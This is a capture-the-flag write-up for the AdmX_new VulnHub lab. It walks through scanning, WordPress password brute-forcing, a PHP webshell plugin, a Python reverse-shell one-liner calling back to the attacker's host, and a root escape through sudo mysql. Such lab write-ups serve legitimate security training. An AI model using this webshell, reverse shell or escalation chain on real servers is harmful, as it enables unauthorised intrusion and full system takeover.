Preparation Phase

Download the AdmX_new virtual machine from https://download.vulnhub.com/admx/AdmX_new.7z and verify its integrity using MD5 checksum 2948034da23a8acc1285fd40ffcde827.

Configure the environment using VirtualBox with Host-Only networking. For detailed network setup, refer to https://www.cnblogs.com/shadow-/p/16815020.html.

Special Note: Network Configuration Adjustments for AdmX_new

This target runs Ubuntu 20.04, which has significant network configuration changes:

• net-tools has been replaced with iproute2
• The traditional ifup/down system with /etc/network/interfaces has been deprecated in favor of netplan and /etc/netplan/*.yaml configuration files

To resolve network issues:

1. During VM boot, press and hold Shift to enter the GRUB menu
2. Select the recovery mode option and press e
3. Modify the kernel parameters from ro recovery nomodeset ... to rw single init=/bin/bash
4. Press Ctrl+X to boot into single-user mode
5. Use ip a to identify the problematic network interface (typically enp0s17)
6. Edit the netplan configuration file in /etc/netplan/:

# This file describes the network interfaces available on your system
# For more information, see netplan(5).
network:
  version: 2
  renderer: networkd
  ethernets:
    enp0s3:
      dhcp4: true
    enp0s17:
      addresses: [192.168.56.200/24]
      gateway4: 192.168.56.1
      nameservers:
        addresses: [192.168.56.100]

Apply the configuration with netplan apply.

Discovery Phase

Use arp-scan to identify the target on the network:

sudo arp-scan -l -I eth1

Output should show the target at 192.168.56.200.

Perform a port scan with nmap to identify open services:

nmap -A -T4 192.168.56.200

Results show port 80 open with Apache httpd 2.4.41 running.

Web Service Exploration

Browse to http://192.168.56.200:80 and discover it's the default Apache page. Use dirsearch to enumerate directories:

dirsearch --url=192.168.56.200:80/

Key findings include:

• /index.html (200 OK)
• /wordpress/wp-login.php (200 OK)
• /tools (301 redirect)

The WordPress site has loading issues due to incorrect references to 192.168.159.145. Use Mitmproxy to redirect these requests:

mitmproxy
# In Mitmproxy: set map_remote '|~m GET|//192.168.159.145/|//192.168.56.200/'

Configure Firefox to use the proxy (127.0.0.1:8080) and re-run dirsearch on the WordPress directory:

dirsearch --url=192.168.56.200:80/wordpress/

WordPress Exploitation

Use wpscan to scan the WordPress installation:

wpscan --url http://192.168.56.200/wordpress/ --proxy http://127.0.0.1:8080

Identify the WordPress version as 5.7.1 and perform credential brute-forcing:

wpscan --url http://192.168.56.200/wordpress/ -P ./password.txt -U admin --proxy http://127.0.0.1:8080

Successful credentials: admin:adam14

Gaining Access

Upload a custom plugin to create a webshell:

<?php
/*
Plugin Name: WebShell
Plugin URI: https://yunju.blog.csdn.net/
Description: mu
Author: myname
Version: 1.0
Author URI: https://yunju.blog.csdn.net/
*/

if(isset($_GET['cmd'])){
    system($_GET['cmd']);
}
?>

Test the webshell by accessing http://192.168.56.200/wordpress/wp-content/plugins/shell.php?cmd=id

Set up a listener and execute a Python reverse shell:

nc -nlvp 4444
python3 -c 'import os,subprocess,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.111",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Privilege Escalation

Identify system information:

uname -a

Examine WordPress configuration for database credentials:

cat wp-config.php

Access the MySQL database as root using the discovered credentials and the sudo privilege:

sudo /usr/bin/mysql -u root -D wordpress -p
# In MySQL: \! /bin/bash

Find the final flag in /root/proof.txt